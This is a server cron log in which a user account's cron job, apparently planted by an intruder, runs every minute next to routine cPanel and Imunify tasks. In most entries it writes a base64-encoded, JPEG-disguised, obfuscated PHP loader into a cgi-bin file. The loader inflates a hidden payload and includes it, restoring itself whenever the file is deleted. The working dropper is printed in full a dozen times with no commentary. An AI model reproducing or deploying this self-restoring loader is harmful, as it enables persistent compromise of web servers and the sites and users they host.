Sep  6 09:37:01 server CROND[29399]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:37:01 server CROND[29400]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:37:01 server CROND[29401]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 09:38:01 server CROND[29789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:38:01 server CROND[29788]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:38:01 server CROND[29790]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 09:39:01 server CROND[30166]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:39:01 server CROND[30168]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:39:01 server CROND[30167]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 09:39:01 server CROND[30170]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 09:40:01 server CROND[30653]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 09:40:01 server CROND[30657]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 09:40:01 server CROND[30654]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 09:40:01 server CROND[30659]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 09:40:01 server CROND[30658]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:40:01 server CROND[30656]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:40:01 server CROND[30655]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 09:40:01 server CROND[30660]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 09:41:01 server CROND[31491]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 09:41:01 server CROND[31492]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:41:01 server CROND[31493]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:42:01 server CROND[31870]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:42:01 server CROND[31871]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 09:42:01 server CROND[31872]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 09:42:01 server CROND[31873]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:43:01 server CROND[32270]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:43:01 server CROND[32272]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:43:01 server CROND[32274]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 09:44:01 server CROND[32651]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:44:01 server CROND[32654]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 09:44:01 server CROND[32652]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:45:01 server CROND[583]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 09:45:01 server CROND[584]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 09:45:01 server CROND[586]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:45:01 server CROND[599]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 09:45:01 server CROND[600]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:45:01 server CROND[595]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 09:45:01 server CROND[602]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 09:46:01 server CROND[1623]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 09:46:01 server CROND[1625]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:46:01 server CROND[1624]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:47:01 server CROND[2058]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:47:01 server CROND[2057]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:47:01 server CROND[2059]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 09:48:01 server CROND[2462]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 09:48:01 server CROND[2463]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:48:01 server CROND[2461]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:49:01 server CROND[2883]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
